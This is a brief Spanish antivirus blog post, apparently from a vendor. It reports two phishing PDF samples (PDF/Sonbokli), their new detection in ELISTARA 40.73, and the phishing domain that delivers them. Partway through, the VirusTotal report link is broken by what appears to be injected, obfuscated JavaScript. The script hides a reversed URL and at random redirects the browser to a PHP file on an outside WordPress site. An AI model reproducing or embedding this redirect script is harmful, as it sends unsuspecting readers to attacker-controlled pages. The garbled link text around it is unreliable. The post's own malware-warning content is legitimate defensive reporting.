NUEVOS MALWARE PDF QUE PASAMOS A CONTROLAR CON ELISTARA COMO COMO PDF/Sonbokli

Recibidas dos muestras con extensión PDF, que efectivamente lo son (a veces son DOC con macros renombrados a PDF ), los pasamoms a controlar a partir del ELISTARA 40.73 de hoy

Los preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/cda9840178cfdd572b0955c8c2ea1dde26c0d309e426f100a76b210be023137d/analysis/1550759854/” target=”_blank” rel=”noopener”>informe de fichero Labour Receipt.pdf>

Los pasamos a controlar a partir del ELISTARA 40.73 de hoy PDF/Sonbokli

saludos

ms, 21-2-2019

Comentario:

Dichos ficheros llegan en mails con phishing dirigidos a :

https://industry.aeconex.com/

de donde se descargan diferentes ZIP que contiene cada uno los PDF en cuestión, si bien dicho sitio ya lo intercepta McAfee:

Tenga cuidado en este sitio web.
https://industry.aeconex.com/
Este sitio web supone un riesgo para la seguridad.
Calificación de seguridad de McAfee: Amarillo

Powered By: McAfee Endpoint Security
McAfee Logo

ms.